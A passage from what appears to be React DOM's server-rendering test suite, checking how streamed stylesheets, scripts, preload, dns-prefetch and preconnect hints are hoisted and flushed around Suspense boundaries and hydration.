<head>\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"shell preinit/shell\"\n          />\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"shell/shell preinit\"\n          />\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"late/shell preinit\"\n          />\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"shell/shell render\"\n          />\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"late/shell render\"\n          />\n          {/* FROM HERE */}\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"shell/late render\"\n          />\n          {/** TO HERE:\n           * This was hoisted by boundary complete instruction. The preload was already emitted in the\n           * shell but we see it below because this was inserted clientside by precedence.\n           * We don't observe the \"shell/late preinit\" because these do not flush unless they are flushing\n           * with the shell\n           * */}\n          <script async=\"\" src=\"shell preinit/shell\" />\n          <script async=\"\" src=\"shell preinit/shell\" type=\"module\" />\n          <script async=\"\" src=\"shell/shell preinit\" />\n          <script async=\"\" src=\"shell/shell preinit\" type=\"module\" />\n          <script async=\"\" src=\"late/shell preinit\" />\n          <script async=\"\" src=\"late/shell preinit\" type=\"module\" />\n          <script async=\"\" src=\"shell/shell render\" />\n          <script async=\"\" src=\"shell/shell render\" type=\"module\" />\n          <script async=\"\" src=\"late/shell render\" />\n          <script async=\"\" src=\"late/shell render\" type=\"module\" />\n          <link rel=\"preload\" as=\"style\" href=\"shell/late preinit\" />\n          <link rel=\"preload\" as=\"script\" href=\"shell/late preinit\" />\n          <link rel=\"modulepreload\" href=\"shell/late preinit\" />\n          <link rel=\"preload\" as=\"style\" href=\"shell/late render\" />\n          <link rel=\"preload\" as=\"script\" href=\"shell/late render\" />\n          <link rel=\"modulepreload\" href=\"shell/late render\" />\n        </head>\n        <body>\n          {'late...'}\n          {'later...'}\n          {/* FROM HERE */}\n          <script async=\"\" src=\"shell/late preinit\" />\n          <script async=\"\" src=\"shell/late preinit\" type=\"module\" />\n          <script async=\"\" src=\"shell/late render\" />\n          <script async=\"\" src=\"shell/late render\" type=\"module\" />\n          <link rel=\"preload\" as=\"style\" href=\"late/later preinit\" />\n          <link rel=\"preload\" as=\"script\" href=\"late/later preinit\" />\n          <link rel=\"modulepreload\" href=\"late/later preinit\" />\n          <link rel=\"preload\" as=\"style\" href=\"late/later render\" />\n          <link rel=\"preload\" as=\"script\" href=\"late/later render\" />\n          <link rel=\"modulepreload\" href=\"late/later render\" />\n          {/** TO HERE:\n           * These resources streamed into the body during the boundary flush. Scripts go first then\n           * preloads according to our streaming queue priorities. Note also that late/shell resources\n           * where the resource already emitted in the shell and the preload is invoked later do not\n           * end up with a preload in the document at all.\n           * */}\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('later');\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"shell preinit/shell\"\n          />\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"shell/shell preinit\"\n          />\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"late/shell preinit\"\n          />\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"shell/shell render\"\n          />\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"late/shell render\"\n          />\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"shell/late render\"\n          />\n          {/* FROM HERE */}\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"late/later render\"\n          />\n          {/** TO HERE:\n           * This was hoisted by boundary complete instruction. The preload was already emitted in the\n           * shell but we see it below because this was inserted clientside by precedence\n           * We don't observe the \"late/later preinit\" because these do not flush unless they are flushing\n           * with the shell\n           * */}\n          <script async=\"\" src=\"shell preinit/shell\" />\n          <script async=\"\" src=\"shell preinit/shell\" type=\"module\" />\n          <script async=\"\" src=\"shell/shell preinit\" />\n          <script async=\"\" src=\"shell/shell preinit\" type=\"module\" />\n          <script async=\"\" src=\"late/shell preinit\" />\n          <script async=\"\" src=\"late/shell preinit\" type=\"module\" />\n          <script async=\"\" src=\"shell/shell render\" />\n          <script async=\"\" src=\"shell/shell render\" type=\"module\" />\n          <script async=\"\" src=\"late/shell render\" />\n          <script async=\"\" src=\"late/shell render\" type=\"module\" />\n          <link rel=\"preload\" as=\"style\" href=\"shell/late preinit\" />\n          <link rel=\"preload\" as=\"script\" href=\"shell/late preinit\" />\n          <link rel=\"modulepreload\" href=\"shell/late preinit\" />\n          <link rel=\"preload\" as=\"style\" href=\"shell/late render\" />\n          <link rel=\"preload\" as=\"script\" href=\"shell/late render\" />\n          <link rel=\"modulepreload\" href=\"shell/late render\" />\n        </head>\n        <body>\n          {'late...'}\n          {'later...'}\n          <script async=\"\" src=\"shell/late preinit\" />\n          <script async=\"\" src=\"shell/late preinit\" type=\"module\" />\n          <script async=\"\" src=\"shell/late render\" />\n          <script async=\"\" src=\"shell/late render\" type=\"module\" />\n          <link rel=\"preload\" as=\"style\" href=\"late/later preinit\" />\n          <link rel=\"preload\" as=\"script\" href=\"late/later preinit\" />\n          <link rel=\"modulepreload\" href=\"late/later preinit\" />\n          <link rel=\"preload\" as=\"style\" href=\"late/later render\" />\n          <link rel=\"preload\" as=\"script\" href=\"late/later render\" />\n          <link rel=\"modulepreload\" href=\"late/later render\" />\n          {/* FROM HERE */}\n          <script async=\"\" src=\"late/later preinit\" />\n          <script async=\"\" src=\"late/later preinit\" type=\"module\" />\n          <script async=\"\" src=\"late/later render\" />\n          <script async=\"\" src=\"late/later render\" type=\"module\" />\n          {/** TO HERE:\n           * These resources streamed into the body during the boundary flush. Scripts go first then\n           * preloads according to our streaming queue priorities\n           * */}\n        </body>\n      </html>,\n    );\n    loadStylesheets();\n    // Let the styles flush and then flush the boundaries\n    await 0;\n    await 0;\n    jest.runAllTimers();\n    assertLog([\n      'load stylesheet: shell preinit/shell',\n      'load stylesheet: shell/shell preinit',\n      'load stylesheet: late/shell preinit',\n      'load stylesheet: shell/shell render',\n      'load stylesheet: late/shell render',\n      'load stylesheet: shell/late render',\n      'load stylesheet: late/later render',\n    ]);\n\n    ReactDOMClient.hydrateRoot(document, <App />);\n    await waitForAll([]);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"shell preinit/shell\"\n          />\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"shell/shell preinit\"\n          />\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"late/shell preinit\"\n          />\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"shell/shell render\"\n          />\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"late/shell render\"\n          />\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"shell/late render\"\n          />\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"late/later render\"\n          />\n          {/* FROM HERE */}\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"shell/late preinit\"\n          />\n          <link\n            rel=\"stylesheet\"\n            data-precedence=\"default\"\n            href=\"late/later preinit\"\n          />\n          {/** TO HERE:\n           * The client render patches in the two missing preinit stylesheets when hydration happens\n           * Note that this is only because we repeated the calls to preinit on the client\n           * */}\n          <script async=\"\" src=\"shell preinit/shell\" />\n          <script async=\"\" src=\"shell preinit/shell\" type=\"module\" />\n          <script async=\"\" src=\"shell/shell preinit\" />\n          <script async=\"\" src=\"shell/shell preinit\" type=\"module\" />\n          <script async=\"\" src=\"late/shell preinit\" />\n          <script async=\"\" src=\"late/shell preinit\" type=\"module\" />\n          <script async=\"\" src=\"shell/shell render\" />\n          <script async=\"\" src=\"shell/shell render\" type=\"module\" />\n          <script async=\"\" src=\"late/shell render\" />\n          <script async=\"\" src=\"late/shell render\" type=\"module\" />\n          <link rel=\"preload\" as=\"style\" href=\"shell/late preinit\" />\n          <link rel=\"preload\" as=\"script\" href=\"shell/late preinit\" />\n          <link rel=\"modulepreload\" href=\"shell/late preinit\" />\n          <link rel=\"preload\" as=\"style\" href=\"shell/late render\" />\n          <link rel=\"preload\" as=\"script\" href=\"shell/late render\" />\n          <link rel=\"modulepreload\" href=\"shell/late render\" />\n        </head>\n        <body>\n          {'Late'}\n          {'Later'}\n          <script async=\"\" src=\"shell/late preinit\" />\n          <script async=\"\" src=\"shell/late preinit\" type=\"module\" />\n          <script async=\"\" src=\"shell/late render\" />\n          <script async=\"\" src=\"shell/late render\" type=\"module\" />\n          <link rel=\"preload\" as=\"style\" href=\"late/later preinit\" />\n          <link rel=\"preload\" as=\"script\" href=\"late/later preinit\" />\n          <link rel=\"modulepreload\" href=\"late/later preinit\" />\n          <link rel=\"preload\" as=\"style\" href=\"late/later render\" />\n          <link rel=\"preload\" as=\"script\" href=\"late/later render\" />\n          <link rel=\"modulepreload\" href=\"late/later render\" />\n          <script async=\"\" src=\"late/later preinit\" />\n          <script async=\"\" src=\"late/later preinit\" type=\"module\" />\n          <script async=\"\" src=\"late/later render\" />\n          <script async=\"\" src=\"late/later render\" type=\"module\" />\n        </body>\n      </html>,\n    );\n  });\n\n  it('does not flush hoistables for fallbacks', async () => {\n    function App() {\n      return (\n        <html>\n          <body>\n            <Suspense\n              fallback={\n                <>\n                  <div>fallback1</div>\n                  <meta name=\"fallback1\" />\n                  <title>foo</title>\n                </>\n              }>\n              <>\n                <div>primary1</div>\n                <meta name=\"primary1\" />\n              </>\n            </Suspense>\n            <Suspense\n              fallback={\n                <>\n                  <div>fallback2</div>\n                  <meta name=\"fallback2\" />\n                  <link rel=\"foo\" href=\"bar\" />\n                </>\n              }>\n              <>\n                <div>primary2</div>\n                <BlockedOn value=\"first\">\n                  <meta name=\"primary2\" />\n                </BlockedOn>\n              </>\n            </Suspense>\n            <Suspense\n              fallback={\n                <>\n                  <div>fallback3</div>\n                  <meta name=\"fallback3\" />\n                  <Suspense fallback=\"deep\">\n                    <div>deep fallback ... primary content</div>\n                    <meta name=\"deep fallback\" />\n                  </Suspense>\n                </>\n              }>\n              <>\n                <div>primary3</div>\n                <BlockedOn value=\"second\">\n                  <meta name=\"primary3\" />\n                </BlockedOn>\n              </>\n            </Suspense>\n          </body>\n        </html>\n      );\n    }\n\n    await act(() => {\n      renderToPipeableStream(<App />).pipe(writable);\n      resolveText('first');\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <meta name=\"primary1\" />\n          <meta name=\"primary2\" />\n        </head>\n        <body>\n          <div>primary1</div>\n          <div>primary2</div>\n          <div>fallback3</div>\n          <div>deep fallback ... primary content</div>\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('second');\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <meta name=\"primary1\" />\n          <meta name=\"primary2\" />\n        </head>\n        <body>\n          <div>primary1</div>\n          <div>primary2</div>\n          <div>primary3</div>\n          <meta name=\"primary3\" />\n        </body>\n      </html>,\n    );\n  });\n\n  it('avoids flushing hoistables from completed boundaries nested inside fallbacks', async () => {\n    function App() {\n      return (\n        <html>\n          <body>\n            <Suspense\n              fallback={\n                <Suspense\n                  fallback={\n                    <>\n                      <div>nested fallback1</div>\n                      <meta name=\"nested fallback1\" />\n                    </>\n                  }>\n                  <>\n                    <div>nested primary1</div>\n                    <meta name=\"nested primary1\" />\n                  </>\n                </Suspense>\n              }>\n              <BlockedOn value=\"release\" />\n              <>\n                <div>primary1</div>\n                <meta name=\"primary1\" />\n              </>\n            </Suspense>\n          </body>\n        </html>\n      );\n    }\n\n    await act(() => {\n      renderToPipeableStream(<App />).pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          {/* The primary content hoistables emit */}\n          <meta name=\"primary1\" />\n        </head>\n        <body>\n          {/* The fallback content emits but the hoistables do not even if they\n              inside a nested suspense boundary that is resolved */}\n          <div>nested primary1</div>\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('release');\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <meta name=\"primary1\" />\n        </head>\n        <body>\n          <div>primary1</div>\n        </body>\n      </html>,\n    );\n  });\n\n  it('should never flush hoistables before the preamble', async () => {\n    let resolve;\n    const promise = new Promise(res => {\n      resolve = res;\n    });\n\n    function App() {\n      ReactDOM.preinit('foo', {as: 'script'});\n      React.use(promise);\n      return (\n        <html>\n          <body>hello</body>\n        </html>\n      );\n    }\n\n    await act(() => {\n      renderToPipeableStream(<App />).pipe(writable);\n    });\n\n    // we assert the default JSDOM still in tact\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <div id=\"container\" />\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolve();\n    });\n\n    // we assert the DOM was replaced entirely because we streamed an opening html tag\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <script async=\"\" src=\"foo\" />\n        </head>\n        <body>hello</body>\n      </html>,\n    );\n  });\n\n  describe('ReactDOM.prefetchDNS(href)', () => {\n    it('creates a dns-prefetch resource when called', async () => {\n      function App({url}) {\n        ReactDOM.prefetchDNS(url);\n        ReactDOM.prefetchDNS(url);\n        ReactDOM.prefetchDNS(url, {});\n        ReactDOM.prefetchDNS(url, {crossOrigin: 'use-credentials'});\n        return (\n          <html>\n            <body>hello world</body>\n          </html>\n        );\n      }\n\n      await act(() => {\n        renderToPipeableStream(<App url=\"foo\" />).pipe(writable);\n      });\n      assertConsoleErrorDev([\n        'ReactDOM.prefetchDNS(): Expected only one argument, `href`, ' +\n          'but encountered something with type \"object\" as a second argument instead. ' +\n          'This argument is reserved for future options and is currently disallowed. ' +\n          'Try calling ReactDOM.prefetchDNS() with just a single string argument, `href`.\\n' +\n          '    in App (at **)',\n        'ReactDOM.prefetchDNS(): Expected only one argument, `href`, ' +\n          'but encountered something with type \"object\" as a second argument instead. ' +\n          'This argument is reserved for future options and is currently disallowed. ' +\n          'It looks like the you are attempting to set a crossOrigin property for this DNS lookup hint. ' +\n          'Browsers do not perform DNS queries using CORS and setting this attribute ' +\n          'on the resource hint has no effect. Try calling ReactDOM.prefetchDNS() with just ' +\n          'a single string argument, `href`.\\n' +\n          '    in App (at **)',\n      ]);\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"dns-prefetch\" href=\"foo\" />\n          </head>\n          <body>hello world</body>\n        </html>,\n      );\n\n      const root = ReactDOMClient.hydrateRoot(document, <App url=\"foo\" />);\n      await waitForAll([]);\n      assertConsoleErrorDev([\n        'ReactDOM.prefetchDNS(): Expected only one argument, `href`, ' +\n          'but encountered something with type \"object\" as a second argument instead. ' +\n          'This argument is reserved for future options and is currently disallowed. ' +\n          'Try calling ReactDOM.prefetchDNS() with just a single string argument, `href`.\\n' +\n          '    in App (at **)',\n        'ReactDOM.prefetchDNS(): Expected only one argument, `href`, ' +\n          'but encountered something with type \"object\" as a second argument instead. ' +\n          'This argument is reserved for future options and is currently disallowed. ' +\n          'It looks like the you are attempting to set a crossOrigin property for this DNS lookup hint. ' +\n          'Browsers do not perform DNS queries using CORS and setting this attribute ' +\n          'on the resource hint has no effect. Try calling ReactDOM.prefetchDNS() with just ' +\n          'a single string argument, `href`.\\n' +\n          '    in App (at **)',\n      ]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"dns-prefetch\" href=\"foo\" />\n          </head>\n          <body>hello world</body>\n        </html>,\n      );\n\n      root.render(<App url=\"bar\" />);\n      await waitForAll([]);\n      assertConsoleErrorDev([\n        'ReactDOM.prefetchDNS(): Expected only one argument, `href`, ' +\n          'but encountered something with type \"object\" as a second argument instead. ' +\n          'This argument is reserved for future options and is currently disallowed. ' +\n          'Try calling ReactDOM.prefetchDNS() with just a single string argument, `href`.\\n' +\n          '    in App (at **)',\n        'ReactDOM.prefetchDNS(): Expected only one argument, `href`, ' +\n          'but encountered something with type \"object\" as a second argument instead. ' +\n          'This argument is reserved for future options and is currently disallowed. ' +\n          'It looks like the you are attempting to set a crossOrigin property for this DNS lookup hint. ' +\n          'Browsers do not perform DNS queries using CORS and setting this attribute ' +\n          'on the resource hint has no effect. Try calling ReactDOM.prefetchDNS() with just ' +\n          'a single string argument, `href`.\\n' +\n          '    in App (at **)',\n      ]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"dns-prefetch\" href=\"foo\" />\n            <link rel=\"dns-prefetch\" href=\"bar\" />\n          </head>\n          <body>hello world</body>\n        </html>,\n      );\n    });\n  });\n\n  it('does not wait for stylesheets of completed fallbacks', async () => {\n    function Unblock({value}) {\n      resolveText(value);\n      return null;\n    }\n    function App() {\n      return (\n        <html>\n          <body>\n            <Suspense fallback=\"loading...\">\n              <div>hello world</div>\n              <BlockedOn value=\"unblock inner boundaries\">\n                <Suspense\n                  fallback={\n                    <>\n                      <link\n                        rel=\"stylesheet\"\n                        href=\"completed inner\"\n                        precedence=\"default\"\n                      />\n                      <div>inner fallback</div>\n                      <Unblock value=\"completed inner\" />\n                    </>\n                  }>\n                  <BlockedOn value=\"completed inner\" />\n                  <div>inner boundary</div>\n                </Suspense>\n                <Suspense\n                  fallback={\n                    <>\n                      <link\n                        rel=\"stylesheet\"\n                        href=\"in fallback inner\"\n                        precedence=\"default\"\n                      />\n                      <div>inner blocked fallback</div>\n                    </>\n                  }>\n                  <BlockedOn value=\"in fallback inner\" />\n                  <div>inner blocked boundary</div>\n                </Suspense>\n              </BlockedOn>\n              <BlockedOn value=\"complete root\" />\n            </Suspense>\n          </body>\n        </html>\n      );\n    }\n\n    await act(() => {\n      renderToPipeableStream(<App />).pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>loading...</body>\n      </html>,\n    );\n\n    await act(async () => {\n      resolveText('unblock inner boundaries');\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          loading...\n          <link rel=\"preload\" href=\"completed inner\" as=\"style\" />\n          <link rel=\"preload\" href=\"in fallback inner\" as=\"style\" />\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('completed inner');\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          loading...\n          <link rel=\"preload\" href=\"completed inner\" as=\"style\" />\n          <link rel=\"preload\" href=\"in fallback inner\" as=\"style\" />\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('complete root');\n    });\n    await act(() => {\n      loadStylesheets();\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link\n            rel=\"stylesheet\"\n            href=\"in fallback inner\"\n            data-precedence=\"default\"\n          />\n        </head>\n        <body>\n          <div>hello world</div>\n          <div>inner boundary</div>\n          <div>inner blocked fallback</div>\n          <link rel=\"preload\" href=\"completed inner\" as=\"style\" />\n          <link rel=\"preload\" href=\"in fallback inner\" as=\"style\" />\n        </body>\n      </html>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('delays \"forwards\" SuspenseList rows until the css of previous rows have completed', async () => {\n    await act(() => {\n      renderToPipeableStream(\n        <html>\n          <body>\n            <Suspense fallback=\"loading...\">\n              <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n                <Suspense fallback=\"loading foo...\">\n                  <BlockedOn value=\"foo\">\n                    <link rel=\"stylesheet\" href=\"foo\" precedence=\"foo\" />\n                    foo\n                  </BlockedOn>\n                </Suspense>\n                <Suspense fallback=\"loading bar...\">bar</Suspense>\n                <BlockedOn value=\"bar\">\n                  <Suspense fallback=\"loading baz...\">\n                    <BlockedOn value=\"baz\">baz</BlockedOn>\n                  </Suspense>\n                </BlockedOn>\n              </SuspenseList>\n            </Suspense>\n          </body>\n        </html>,\n      ).pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>loading...</body>\n      </html>,\n    );\n\n    // unblock css loading\n    await act(() => {\n      resolveText('foo');\n    });\n\n    // bar is still blocking the whole list\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"foo\" />\n        </head>\n        <body>\n          {'loading...'}\n          <link as=\"style\" href=\"foo\" rel=\"preload\" />\n        </body>\n      </html>,\n    );\n\n    // unblock inner loading states\n    await act(() => {\n      resolveText('bar');\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"foo\" />\n        </head>\n        <body>\n          {'loading foo...'}\n          {'loading bar...'}\n          {'loading baz...'}\n          <link as=\"style\" href=\"foo\" rel=\"preload\" />\n        </body>\n      </html>,\n    );\n\n    // resolve the last boundary\n    await act(() => {\n      resolveText('baz');\n    });\n\n    // still blocked on the css of the first row\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"foo\" />\n        </head>\n        <body>\n          {'loading foo...'}\n          {'loading bar...'}\n          {'loading baz...'}\n          <link as=\"style\" href=\"foo\" rel=\"preload\" />\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      loadStylesheets();\n    });\n    await assertLog(['load stylesheet: foo']);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"foo\" />\n        </head>\n        <body>\n          {'foo'}\n          {'bar'}\n          {'baz'}\n          <link as=\"style\" href=\"foo\" rel=\"preload\" />\n        </body>\n      </html>,\n    );\n  });\n\n  // @gate enableSuspenseList\n  it('delays \"together\" SuspenseList rows until the css of previous rows have completed', async () => {\n    await act(() => {\n      renderToPipeableStream(\n        <html>\n          <body>\n            <SuspenseList revealOrder=\"together\">\n              <Suspense fallback=\"loading foo...\">\n                <BlockedOn value=\"foo\">\n                  <link rel=\"stylesheet\" href=\"foo\" precedence=\"foo\" />\n                  foo\n                </BlockedOn>\n              </Suspense>\n              <Suspense fallback=\"loading bar...\">bar</Suspense>\n            </SuspenseList>\n          </body>\n        </html>,\n      ).pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          {'loading foo...'}\n          {'loading bar...'}\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('foo');\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"foo\" />\n        </head>\n        <body>\n          {'loading foo...'}\n          {'loading bar...'}\n          <link as=\"style\" href=\"foo\" rel=\"preload\" />\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      loadStylesheets();\n    });\n    await assertLog(['load stylesheet: foo']);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"foo\" />\n        </head>\n        <body>\n          {'foo'}\n          {'bar'}\n          <link as=\"style\" href=\"foo\" rel=\"preload\" />\n        </body>\n      </html>,\n    );\n  });\n\n  describe('ReactDOM.preconnect(href, { crossOrigin })', () => {\n    it('creates a preconnect resource when called', async () => {\n      function App({url}) {\n        ReactDOM.preconnect(url);\n        ReactDOM.preconnect(url);\n        ReactDOM.preconnect(url, {crossOrigin: true});\n        ReactDOM.preconnect(url, {crossOrigin: ''});\n        ReactDOM.preconnect(url, {crossOrigin: 'anonymous'});\n        ReactDOM.preconnect(url, {crossOrigin: 'use-credentials'});\n        return (\n          <html>\n            <body>hello world</body>\n          </html>\n        );\n      }\n\n      await act(() => {\n        renderToPipeableStream(<App url=\"foo\" />).pipe(writable);\n      });\n      assertConsoleErrorDev([\n        'ReactDOM.preconnect(): Expected the `crossOrigin` option (second argument) ' +\n          'to be a string but encountered something with type \"boolean\" instead. ' +\n          'Try removing this option or passing a string value instead.\\n' +\n          '    in App (at **)',\n      ]);\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"preconnect\" href=\"foo\" />\n            <link rel=\"preconnect\" href=\"foo\" crossorigin=\"\" />\n            <link rel=\"preconnect\" href=\"foo\" crossorigin=\"use-credentials\" />\n          </head>\n          <body>hello world</body>\n        </html>,\n      );\n\n      const root = ReactDOMClient.hydrateRoot(document, <App url=\"foo\" />);\n      await waitForAll([]);\n      assertConsoleErrorDev([\n        'ReactDOM.preconnect(): Expected the `crossOrigin` option (second argument) ' +\n          'to be a string but encountered something with type \"boolean\" instead. ' +\n          'Try removing this option or passing a string value instead.\\n' +\n          '    in App (at **)',\n      ]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"preconnect\" href=\"foo\" />\n            <link rel=\"preconnect\" href=\"foo\" crossorigin=\"\" />\n            <link rel=\"preconnect\" href=\"foo\" crossorigin=\"use-credentials\" />\n          </head>\n          <body>hello world</body>\n        </html>,\n      );\n\n      root.render(<App url=\"bar\" />);\n      await waitForAll([]);\n      assertConsoleErrorDev([\n        'ReactDOM.preconnect(): Expected the `crossOrigin` option (second argument) ' +\n          'to be a string but encountered something with type \"boolean\" instead. ' +\n          'Try removing this option or passing a string value instead.\\n' +\n          '    in App (at **)',\n      ]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"preconnect\" href=\"foo\" />\n            <link rel=\"preconnect\" href=\"foo\" crossorigin=\"\" />\n            <link rel=\"preconnect\" href=\"foo\" crossorigin=\"use-credentials\" />\n            <link rel=\"preconnect\" href=\"bar\" />\n            <link rel=\"preconnect\" href=\"bar\" crossorigin=\"\" />\n            <link rel=\"preconnect\" href=\"bar\" crossorigin=\"use-credentials\" />\n          </head>\n          <body>hello world</body>\n        </html>,\n      );\n    });\n  });\n\n  describe('ReactDOM.preload(href, { as: ... })', () => {\n    it('creates a preload resource when called', async () => {\n      function App() {\n        ReactDOM.preload('foo', {as: 'style'});\n        return (\n          <html>\n            <body>\n              <Suspense fallback=\"loading...\">\n                <BlockedOn value=\"blocked\">\n                  <Component />\n                </BlockedOn>\n              </Suspense>\n            </body>\n          </html>\n        );\n      }\n      function Component() {\n        ReactDOM.preload('bar', {as: 'script'});\n        return <div>hello</div>;\n      }\n\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App />);\n        pipe(writable);\n      });\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"preload\" as=\"style\" href=\"foo\" />\n          </head>\n          <body>loading...</body>\n        </html>,\n      );\n\n      await act(() => {\n        resolveText('blocked');\n      });\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"preload\" as=\"style\" href=\"foo\" />\n          </head>\n          <body>\n            <div>hello</div>\n            <link rel=\"preload\" as=\"script\" href=\"bar\" />\n          </body>\n        </html>,\n      );\n\n      function ClientApp() {\n        ReactDOM.preload('foo', {as: 'style'});\n        ReactDOM.preload('font', {as: 'font', type: 'font/woff2'});\n        React.useInsertionEffect(() => ReactDOM.preload('bar', {as: 'script'}));\n        React.useLayoutEffect(() => ReactDOM.preload('baz', {as: 'font'}));\n        React.useEffect(() => ReactDOM.preload('qux', {as: 'style'}));\n        return (\n          <html>\n            <body>\n              <Suspense fallback=\"loading...\">\n                <div>hello</div>\n              </Suspense>\n            </body>\n          </html>\n        );\n      }\n      ReactDOMClient.hydrateRoot(document, <ClientApp />);\n      await waitForAll([]);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"preload\" as=\"style\" href=\"foo\" />\n            <link\n              rel=\"preload\"\n              as=\"font\"\n              href=\"font\"\n              crossorigin=\"\"\n              type=\"font/woff2\"\n            />\n            <link rel=\"preload\" as=\"font\" href=\"baz\" crossorigin=\"\" />\n            <link rel=\"preload\" as=\"style\" href=\"qux\" />\n          </head>\n          <body>\n            <div>hello</div>\n            <link rel=\"preload\" as=\"script\" href=\"bar\" />\n          </body>\n        </html>,\n      );\n    });\n\n    it('can seed connection props for stylesheet and script resources', async () => {\n      function App() {\n        ReactDOM.preload('foo', {\n          as: 'style',\n          crossOrigin: 'use-credentials',\n          integrity: 'some hash',\n          fetchPriority: 'low',\n        });\n        return (\n          <html>\n            <body>\n              <div>hello</div>\n              <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n            </body>\n          </html>\n        );\n      }\n\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App />);\n        pipe(writable);\n      });\n\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link\n              rel=\"stylesheet\"\n              href=\"foo\"\n              data-precedence=\"default\"\n              crossorigin=\"use-credentials\"\n              integrity=\"some hash\"\n            />\n          </head>\n          <body>\n            <div>hello</div>\n          </body>\n        </html>,\n      );\n    });\n\n    it('warns if you do not pass in a valid href argument or options argument', async () => {\n      function App() {\n        ReactDOM.preload();\n        ReactDOM.preload('');\n        ReactDOM.preload('foo', null);\n        ReactDOM.preload('foo', {});\n        ReactDOM.preload('foo', {as: 'foo'});\n        return <div>foo</div>;\n      }\n\n      await act(() => {\n        renderToPipeableStream(<App />).pipe(writable);\n      });\n      assertConsoleErrorDev([\n        'ReactDOM.preload(): Expected two arguments, a non-empty `href` string and an ' +\n          '`options` object with an `as` 